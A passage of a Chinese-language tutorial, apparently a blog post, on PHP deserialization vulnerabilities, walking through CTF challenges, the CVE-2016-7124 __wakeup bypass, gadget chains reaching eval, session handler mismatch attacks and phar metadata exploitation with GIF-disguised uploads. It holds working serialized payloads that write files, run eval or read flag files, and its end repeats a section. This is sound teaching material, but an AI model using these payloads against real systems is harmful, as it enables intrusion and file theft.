既然网页上能输出,那说明也可以进行XSS攻击,尝试一下,虽然有点鸡肋2333,到这里应该懂得点什么叫反序列化漏洞了

![6.png](https://www.ghtwf01.cn/img/20191112144342-c4a63282-0517-1.png)

一道简单的反序列化考点题
http://120.79.33.253:9001/

``` php
<?php
error_reporting(0);
include "flag.php";
$KEY = "D0g3!!!";
$str = $_GET['str'];
if (unserialize($str) === "$KEY")
{
echo "$flag";
}
show_source(__FILE__);
```
题目的大意就是反序列化一个变量后的值等于`D0g3!!!`,这个变量是用户输入的,于是我们写代码将`D0g3!!!`序列化

``` php
<?php
$a="D0g3!!!";
$b=serialize($a);
echo $b;
?>
```
得到序列化后的内容是

![7.png](https://www.ghtwf01.cn/img/20191112144356-ccd49fe8-0517-1.png)

将序列化后的内容传入得到flag

![8.png](https://www.ghtwf01.cn/img/20191112144404-d13ff460-0517-1.png)

现在再来一道bugku的反序列化题
welcome to bugctf(这道题被恶搞的删了qwq,只好看看网上贴出的代码分析一下)

index.php

``` php
<?php

$txt = $_GET["txt"];

$file = $_GET["file"];

$password = $_GET["password"];

if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf")){

echo "hello friend!<br>";

if(preg_match("/flag/",$file)){

echo "不能现在就给你flag哦";

exit();

}else{

include($file);

$password = unserialize($password);

echo $password;

}

}else{

echo "you are not the number of bugku ! ";

}

?>
```
代码有点长我们先来分析一下这串代码想表达什么
1.先`GET`传入参数`$txt`、`$file`、`$password`
2.判断`$txt`是否存在,如果存在并且值为`welcome to the bugkuctf`就进一步操作,`$file`参数里面不能包含`flag`字段
3.通过以上判断就`include($file)`,再将`$password`反序列化并输出

hint.php

``` php
<?php

class Flag{//flag.php

public $file;

public function __tostring(){

if(isset($this->file)){

echo file_get_contents($this->file);

echo "<br>";

return ("good");

}

}

}

?>
```
`index.php`里面要求`$file`参数不能包含`flag`字段,所以文件不能包含`flag.php`,所以`$file=hint.php`,把`hint.php`包含进去,里面存在一个`file_get_concents函数`可以读文件,想到`index.php`里面的`unserialize`函数,所以只需要控制`$this->file`就能读取想要的文件
用这段代码的结果传值给`$password`
``` php
<?php
class Flag{
public $file='flag.php';
}
$a=new Flag();
$b=serialize($a);
echo $b;
?>
```
`$password`进行反序列化后`$file`就被赋值为`flag.php`,然后`file_get_contents`就得到了`flag`

![10.png](https://www.ghtwf01.cn/img/20191112144423-dd119f00-0517-1.png)

再来一个反序列化漏洞利用例子,代码如下

``` php
<?php
class foo{
public $file = "2.txt";
public $data = "test";
function __destruct(){
file_put_contents(dirname(__FILE__).'/'.$this->file,$this->data);
}
}
$file_name = $_GET['filename'];
print "You have readfile ".$file_name;
unserialize(file_get_contents($file_name));
?>
```
这串代码的意思是将读取的文件内容进行反序列化,`__destruct`函数里面是生成文件,如果我们本地存在一个文件名是`flag.txt`,里面的内容是

``` php
O:3:"foo":2:{s:4:"file";s:9:"shell.php";s:4:"data";s:18:"<?php phpinfo();?>";}
```
将它进行反序列化就会生成`shell.php`里面的内容为`<?php phpinfo();?>`

![11.png](https://www.ghtwf01.cn/img/20191112144432-e1ef4f90-0517-1.png)


![12.png](https://www.ghtwf01.cn/img/20191112144444-e95a626a-0517-1.png)


#CVE-2016-7124 __wakeup绕过
**__wakeup魔法函数简介**
`unserialize()`会检查是否存在一个 `__wakeup()` 方法。如果存在,则会先调用 `__wakeup()` 方法,预先准备对象需要的资源
反序列化时,如果表示对象属性个数的值大于真实的属性个数时就会跳过`__wakeup()`的执行
**漏洞影响版本:**
php5 < 5.6.25
php7 < 7.0.10
**漏洞复现:**
代码如下

``` php
<?php
class A{
public $target = "test";
function __wakeup(){
$this->target = "wakeup!";
}
function __destruct(){
$fp = fopen("D:\Program Files\PHPTutorial\WWW\zx\hello.php","w");
fputs($fp,$this->target);
fclose($fp);
}
}
$a = $_GET['test'];
$b = unserialize($a);
echo "hello.php"."<br/>";
include("./hello.php");
?>
```
魔法函数`__wakeup()`要比`__destruct()`先执行,所以我们之间传入
`O:1:"A":1:{s:6:"target";s:18:"<?php phpinfo();?>";}`
时会被先执行的`__wakeup()`函数`$target`赋值覆盖为`wakeup!`,然后生成的`hello.php`里面的内容就是`wakeup!`

![13.png](https://www.ghtwf01.cn/img/20191112144453-eebf630e-0517-1.png)

现在我们根据绕过方法:对象属性个数的值大于真实的属性个数时就会跳过`__wakeup()`的执行,对象个数原来是1我们将其改为2,也就是
`O:2:"A":1:{s:6:"target";s:18:"<?php phpinfo();?>";}`
就能实现绕过

![14.png](https://www.ghtwf01.cn/img/20191112144459-f23fd856-0517-1.png)

# 注入对象构造方法
## 当目标对象被private、protected修饰时反序列化漏洞的利用
上面说了`private`和`protected`返回长度和`public`不一样的原因,这里再写一下
``` php
private属性序列化的时候格式是%00类名%00成员名
protect属性序列化的时候格式是%00*%00成员名
```
`protected`情况下,代码如下

``` php
<?php
class A{
protected $test = "hahaha";
function __destruct(){
echo $this->test;
}
}
$a = $_GET['test'];
$b = unserialize($a);
?>
```
利用方式:
先用如下代码输出利用的序列化串

``` php
<?php
class A{
protected $test = "hacked by ghtwf01";
}
$a = new A();
$b = serialize($a);
print_r($b);
?>
```
得到`O:1:"A":1:{s:7:"*test";s:17:"hacked by ghtwf01";}`
因为`protected`是`*`号两边都有`%00`,所以必须在`url`上面也加上,否则不会利用成功

![15.png](https://www.ghtwf01.cn/img/20191112144507-f7487f88-0517-1.png)

`private`情况下,代码如下

``` php
<?php
class A{
private $test = "hacked by ghtwf01";
}
$a = new A();
$b = serialize($a);
print_r($b);
?>
```
利用代码这里省略吧,同上面,得到序列化后的字符串为`O:1:"A":1:{s:7:"Atest";s:17:"hacked by ghtwf01";`
因为`private`是类名`A`两边都有`%00`所以同样在`url`上面体现

![16.png](https://www.ghtwf01.cn/img/20191112144513-fa534faa-0517-1.png)

## 同名方法的利用
代码如下

``` php
<?php
class A{
public $target;
function __construct(){
$this->target = new B;
}
function __destruct(){
$this->target->action();
}
}
class B{
function action(){
echo "action B";
}
}
class C{
public $test;
function action(){
echo "action A";
eval($this->test);
}
}
unserialize($_GET['test']);
?>
```
这个例子中,`class B`和`class C`有一个同名方法`action`,我们可以构造目标对象,使得析构函数调用`class C`的`action`方法,实现任意代码执行
利用代码

``` php
<?php
class A{
public $target;
function __construct(){
$this->target = new C;
$this->target->test = "phpinfo();";
}
function __destruct(){
$this->target->action();
}
}
class C{
public $test;
function action(){
echo "action C";
eval($this->test);
}
}
echo serialize(new A);
?>
```

![17.png](https://www.ghtwf01.cn/img/20191112144521-ff4ec48a-0517-1.png)
# session反序列化漏洞
## 什么是session
`session`英文翻译为"会话",两个人聊天从开始到结束就构成了一个会话。`PHP`里的`session`主要是指客户端浏览器与服务端数据交换的对话,从浏览器打开到关闭,一个最简单的会话周期
## PHP session工作流程
会话的工作流程很简单,当开始一个会话时,`PHP`会尝试从请求中查找会话 `ID` (通常通过会话 `cookie`),如果发现请求的`Cookie`、`Get`、`Post`中不存在`session id`,`PHP` 就会自动调用`php_session_create_id`函数创建一个新的会话,并且在`http response`中通过`set-cookie`头部发送给客户端保存,例如登录如下网页`Cokkie、Get、Post`都不存在`session id`,于是就使用了`set-cookie`头

![1.png](https://www.ghtwf01.cn/img/20191112144834-72365e9a-0518-1.png)

有时候浏览器用户设置会禁止 `cookie`,当在客户端`cookie`被禁用的情况下,`php`也可以自动将`session id`添加到`url`参数中以及`form`的`hidden`字段中,但这需要将`php.ini`中的`session.use_trans_sid`设为开启,也可以在运行时调用`ini_set`来设置这个配置项

会话开始之后,`PHP` 就会将会话中的数据设置到 `$_SESSION` 变量中,如下述代码就是一个在 `$_SESSION` 变量中注册变量的例子:

``` php
<?php
session_start();
if (!isset($_SESSION['username'])) {
$_SESSION['username'] = 'ghtwf01' ;
}
?>
```
代码的意思就是如果不存在`session`那么就创建一个`session`
也可以用如下流程图表示

![2.png](https://www.ghtwf01.cn/img/20191112144840-76164138-0518-1.png)

## php.ini配置
`php.ini`里面有如下六个相对重要的配置

``` php
session.save_path="" --设置session的存储位置
session.save_handler="" --设定用户自定义存储函数,如果想使用PHP内置session存储机制之外的可以使用这个函数
session.auto_start --指定会话模块是否在请求开始时启动一个会话,默认值为 0,不启动
session.serialize_handler --定义用来序列化/反序列化的处理器名字,默认使用php
session.upload_progress.enabled --启用上传进度跟踪,并填充$ _SESSION变量,默认启用
session.upload_progress.cleanup --读取所有POST数据(即完成上传)后,立即清理进度信息,默认启用
```

如`phpstudy`下上述配置如下:

``` php
session.save_path = "/tmp" --所有session文件存储在/tmp目录下
session.save_handler = files --表明session是以文件的方式来进行存储的
session.auto_start = 0 --表明默认不启动session
session.serialize_handler = php --表明session的默认(反)序列化引擎使用的是php(反)序列化引擎
session.upload_progress.enabled on --表明允许上传进度跟踪,并填充$ _SESSION变量
session.upload_progress.cleanup on --表明所有POST数据(即完成上传)后,立即清理进度信息($ _SESSION变量)
```

## PHP session 的存储机制
上文中提到了 `PHP session`的存储机制是由`session.serialize_handler`来定义引擎的,默认是以文件的方式存储,且存储的文件是由`sess_sessionid`来决定文件名的,当然这个文件名也不是不变的,都是`sess_sessionid`形式

![3.png](https://www.ghtwf01.cn/img/20191112144846-79d7b220-0518-1.png)

打开看一下全是序列化后的内容

![4.png](https://www.ghtwf01.cn/img/20191112144851-7c6e2e6a-0518-1.png)

现在我们来看看`session.serialize_handler`,它定义的引擎有三种

| 处理器名称 | 存储格式 |
| php | 键名 + 竖线 + 经过serialize()函数序列化处理的值 |
| php_binary | 键名的长度对应的 ASCII 字符 + 键名 + 经过serialize()函数序列化处理的值|
| php_serialize(php>5.5.4) | 经过serialize()函数序列化处理的数组 |
### php处理器
首先来看看`session.serialize_handler`等于`php`时候的序列化结果,代码如下

``` php
<?php
error_reporting(0);
ini_set('session.serialize_handler','php');
session_start();
$_SESSION['session'] = $_GET['session'];
?>
```
`session`的`sessionid`其实可以看到的,为`i38age8ok4bofpiuiku3h20fh0`

![5.png](https://www.ghtwf01.cn/img/20191112144859-81378040-0518-1.png)

于是我们到`session`存储目录查看一下`session`文件内容

![6.png](https://www.ghtwf01.cn/img/20191112144905-85162680-0518-1.png)

`session`为`$_SESSION['session']`的键名,`|`后为传入`GET`参数经过序列化后的值
### php_binary处理器
再来看看`session.serialize_handler`等于`php_binary`时候的序列化结果

``` php
<?php
error_reporting(0);
ini_set('session.serialize_handler','php_binary');
session_start();
$_SESSION['sessionsessionsessionsessionsession'] = $_GET['session'];
?>
```
为了更能直观的体现出格式的差别,因此这里设置了键值长度为 `35`,`35` 对应的 `ASCII` 码为`#`,所以最终的结果如下

![7.png](https://www.ghtwf01.cn/img/20191112144911-888b7d60-0518-1.png)

`#`为键名长度对应的 `ASCII` 的值,`sessionsessionsessionsessionsessions`为键名,`s:7:"xianzhi";`为传入 `GET` 参数经过序列化后的值
### php_serialize 处理器
最后就是`session.serialize_handler`等于`php_serialize`时候的序列化结果,代码如下

``` php
<?php
error_reporting(0);
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['session'] = $_GET['session'];
?>
```
结果如下

![8.png](https://www.ghtwf01.cn/img/20191112144917-8c3357da-0518-1.png)

`a:1`表示`$_SESSION`数组中有 `1` 个元素,花括号里面的内容即为传入`GET`参数经过序列化后的值
## session的反序列化漏洞利用
`php`处理器和`php_serialize`处理器这两个处理器生成的序列化格式本身是没有问题的,但是如果这两个处理器混合起来用,就会造成危害。形成的原理就是在用`session.serialize_handler = php_serialize`存储的字符可以引入 `|` , 再用`session.serialize_handler = php`格式取出`$_SESSION`的值时, |会被当成键值对的分隔符,在特定的地方会造成反序列化漏洞。
我们创建一个`session.php`,用于传输`session`值,里面代码如下

``` php
<?php
error_reporting(0);
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['session'] = $_GET['session'];
?>
```
再创建一个`hello.php`,里面代码如下

``` php
<?php
error_reporting(0);
ini_set('session.serialize_handler','php');
session_start();
class D0g3{
public $name = 'panda';
function __wakeup(){
echo "Who are you?";
}
function __destruct(){
echo '<br>'.$this->name;
}
}
$str = new XianZhi();
?>
```
这两个文件的作用很清晰,`session.php`文件的处理器是`php_serialize`,`hello.php`文件的处理器是`php`,`session.php`文件的作用是传入可控的 `session`值,`hello.php`文件的作用是在反序列化开始前输出`Who are you?`,反序列化结束的时候输出`name`值
运行一下`hello.php`看一下效果

![9.png](https://www.ghtwf01.cn/img/20191112144925-90e78454-0518-1.png)

我们用如下代码来复现一下`session`的反序列化漏洞

``` php
<?php
class D0g3{
public $name = 'ghtwf01';
function __wakeup(){
echo "Who are you?";
}
function __destruct(){
echo '<br>'.$this->name;
}
}
$str = new D0g3();
echo serialize($str);
?>
```
输出结果为

![10.png](https://www.ghtwf01.cn/img/20191112144932-94f8e8a8-0518-1.png)

因为`session`是`php_serialize`处理器,所以允许`|`存在字符串中,所以将这段代码序列化内容前面加上`|`传入`session.php`中
现在来看一下存入`session`文件的内容

![11.png](https://www.ghtwf01.cn/img/20191112144936-97555262-0518-1.png)

再打开`hello.php`

![12.png](https://www.ghtwf01.cn/img/20191112144941-9a2ff17c-0518-1.png)

## 一道CTF题:PHPINFO
题目链接:http://web.jarvisoj.com:32784/
题目中给出如下代码

``` php
<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
public $mdzz;
function __construct()
{
$this->mdzz = 'phpinfo();';
}

function __destruct()
{
eval($this->mdzz);
}
}
if(isset($_GET['phpinfo']))
{
$m = new OowoO();
}
else
{
highlight_string(file_get_contents('index.php'));
}
?>
```
仔细看了一遍发现题目没有入口,注意到`ini_set('session.serialize_handler', 'php')`,想到可不可能是`session`反序列化漏洞,看一下`phpinfo`,发现`session.serialize_handler`设置如下

``` php
local value(当前目录,会覆盖master value内容):php
master value(主目录,php.ini里面的内容):php_serialize
```

这个很明显就存在`php session`反序列化漏洞,但是入口点在哪里,怎么控制`session`的值
在`phpinfo`里面看到了

``` php
session.upload_progress.enabled on
session.upload_progress.cleanup off
```

当一个上传在处理中,同时`POST`一个与`INI`中设置的`session.upload_progress.name`同名变量时,当`PHP`检测到这种`POST`请求时,它会在`$_SESSION`中添加一组数据。所以可以通过`Session Upload Progress`来设置`session`
允许上传且结束后不清除数据,这样更有利于利用
在`html`网页源代码上面添加如下代码

``` html
<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" />
<input type="submit" />
</form>
```

![13.png](https://www.ghtwf01.cn/img/20191112144955-a28f8bca-0518-1.png)

接下来考虑如何利用

``` php
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
class OowoO
{
public $mdzz='print_r(scandir(dirname(__FILE__)));';
}
$obj = new OowoO();
echo serialize($obj);
?>
```
得到

![14.png](https://www.ghtwf01.cn/img/20191112145001-a60c44a0-0518-1.png)

为了防止转义,在每个双引号前加上`\`,即
```php
|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}
```
点击提交,`burpsuite`抓包将`filename`的值改为它

![15.png](https://www.ghtwf01.cn/img/20191112145006-a8ff3988-0518-1.png)

查询到当前目录有哪些文件了,在`phpinfo`里面查看到当前目录路径

![16.png](https://www.ghtwf01.cn/img/20191112145010-abb3dd46-0518-1.png)

于是我们利用

``` php
print_r(file_get_contents("/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php"));
```

来读取`Here_1s_7he_fl4g_buT_You_Cannot_see.php`中的内容,同样的道理加上`\`后将`filename`改为

``` php
|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:88:\"print_r(file_get_contents(\"/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php\"));\";}
```

得到`flag`

![17.png](https://www.ghtwf01.cn/img/20191112145016-aefb991c-0518-1.png)
# phar拓展反序列化攻击面
## phar文件简介
### 概念
一个`php`应用程序往往是由多个文件构成的,如果能把他们集中为一个文件来分发和运行是很方便的,这样的列子有很多,比如在`window`操作系统上面的安装程序、一个`jquery`库等等,为了做到这点`php`采用了`phar`文档文件格式,这个概念源自`java`的`jar`,但是在设计时主要针对 PHP 的 Web 环境,与 `JAR` 归档不同的是`Phar`归档可由 `PHP` 本身处理,因此不需要使用额外的工具来创建或使用,使用`php`脚本就能创建或提取它。`phar`是一个合成词,由`PHP`和 `Archive`构成,可以看出它是`php`归档文件的意思(简单来说`phar`就是`php`压缩文档,不经过解压就能被 `php` 访问并执行)
### phar组成结构

``` php
stub:它是phar的文件标识,格式为xxx<?php xxx; __HALT_COMPILER();?>;
manifest:也就是meta-data,压缩文件的属性等信息,以序列化存储
contents:压缩文件的内容
signature:签名,放在文件末尾
```

这里有两个关键点,一是文件标识,必须以`__HALT_COMPILER();?>`结尾,但前面的内容没有限制,也就是说我们可以轻易伪造一个图片文件或者其它文件来绕过一些上传限制;二是反序列化,`phar`存储的`meta-data`信息以序列化方式存储,当文件操作函数通过`phar://`伪协议解析`phar`文件时就会将数据反序列化,而这样的文件操作函数有很多
### 前提条件

``` php
php.ini中设置为phar.readonly=Off
php version>=5.3.0
```
## phar反序列化漏洞
漏洞成因:`phar`存储的`meta-data`信息以序列化方式存储,当文件操作函数通过`phar://`伪协议解析`phar`文件时就会将数据反序列化
### demo测试
根据文件结构我们来自己构建一个`phar`文件,`php`内置了一个`Phar`类来处理相关操作

``` php
<?php
class TestObject {
}

@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new TestObject();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
```
可以很明显看到`manifest`是以序列化形式存储的

![1.png](https://www.ghtwf01.cn/img/20191112145235-01d2d2fe-0519-1.png)

有序列化数据必然会有反序列化操作,`php`一大部分的文件系统函数在通过`phar://`伪协议解析`phar`文件时,都会将`meta-data`进行反序列化
在网上扒了一张图

![2.png](https://www.ghtwf01.cn/img/20191112145239-0436a1c4-0519-1.png)

用如下demo证明

``` php
<?php
class TestObject {
public function __destruct() {
echo 'hello ghtwf01';
}
}

$filename = 'phar://phar.phar/test.txt';
file_get_contents($filename);
?>
```

![3.png](https://www.ghtwf01.cn/img/20191112145244-07779b54-0519-1.png)

当文件系统函数的参数可控时,我们可以在不调用`unserialize()`的情况下进行反序列化操作,极大的拓展了攻击面,其它函数也是可以的,比如`file_exists`函数,代码如下

``` php
<?php
class TestObject {
public function __destruct() {
echo 'hello ghtwf01';
}
}

$filename = 'phar://phar.phar/a_random_string';
file_exists($filename);
?>
```

![4.png](https://www.ghtwf01.cn/img/20191112145250-0ab8db34-0519-1.png)

### 将phar伪造成其他格式的文件
在前面分析`phar`的文件结构时可能会注意到,`php`识别`phar`文件是通过其文件头的`stub`,更确切一点来说是`__HALT_COMPILER();?>`这段代码,对前面的内容或者后缀名是没有要求的。那么我们就可以通过添加任意的文件头+修改后缀名的方式将`phar`文件伪装成其他格式的文件

``` php
<?php
class TestObject {
}

@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头
$o = new TestObject();
$phar->setMetadata($o); //将自定义meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
```

![5.png](https://www.ghtwf01.cn/img/20191112145254-0d4bc884-0519-1.png)

采用这种方法可以绕过很大一部分上传检测
#### 利用条件

``` php
phar文件需要上传到服务器端
要有可用的魔术方法作为“跳板”
文件操作函数的参数可控,且:、/、phar等特殊字符没有被过滤
```

#### 漏洞复现
upload.php
白名单只允许上传`jpg,png,gif`
``` php
<!DOCTYPE html>
<html>
<head>
<title>文件上传</title>
</head>
<body>
<form method="post" enctype="multipart/form-data">
<input type="file" name="pic" />
<input type="submit" value="上传"/>
</body>
</html>
<?php
header("Content-type:text/html;charset=utf-8");
$ext_arr=array('.jpg','.png','.gif');
if(empty($_FILES)){
echo "请上传文件";
}else{
define("PATH",dirname(__DIR__));
$path=PATH."/"."upload"."/"."images";
$filetype=strrchr($_FILES["pic"]["name"],".");
if(in_array($filetype,$ext_arr)){
move_uploaded_file($_FILES["pic"]["tmp_name"],$path."/".$_FILES["pic"]["name"]);
echo "上传成功!";
}else{
echo "只允许上传.jpg|.png|.gif类型文件!";
}

}
?>
```
file_exists.php
验证文件是否存在,漏洞利用点:`file_exists()`函数
``` php
<?php
$filename=$_GET['filename'];
class ghtwf01{
public $a = 'echo exists;';
function __destruct()
{
eval($this -> a);
}
}
file_exists($filename);
?>
```
构造phar文件

``` php
<?php
class ghtwf01{
public $a = 'phpinfo();';
function __destruct()
{
eval($this -> a);
}
}
$phar = new Phar('phar.phar');
$phar -> stopBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar -> addFromString('test.txt','test');
$object = new ghtwf01();
$phar -> setMetadata($object);
$phar -> stopBuffering();
?>
```
改后缀名为`gif`,然后上传,最后在`file_exists.php`利用漏洞

![6.png](https://www.ghtwf01.cn/img/20191112145302-1225f852-0519-1.png)
# 参考链接
https://www.freebuf.com/articles/web/206249.html
http://mini.eastday.com/mobile/190306223633207.html#
https://www.jianshu.com/p/54e93e92ba9e
https://www.jb51.net/article/79144.htm
https://xz.aliyun.com/t/6640
https://www.freebuf.com/vuls/202819.html







}
file_exists($filename);
?>

构造phar文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
class ghtwf01{
public $a = 'phpinfo();';
function __destruct()
{
eval($this -> a);
}
}
$phar = new Phar('phar.phar');
$phar -> stopBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar -> addFromString('test.txt','test');
$object = new ghtwf01();
$phar -> setMetadata($object);
$phar -> stopBuffering();
?>

改后缀名为gif,然后上传,最后在file_exists.php利用漏洞

6.png

参考链接

https://www.freebuf.com/articles/web/206249.html
http://mini.eastday.com/mobile/190306223633207.html#
https://www.jianshu.com/p/54e93e92ba9e
https://www.jb51.net/article/79144.htm
https://xz.aliyun.com/t/6640
https://www.freebuf.com/vuls/202819.html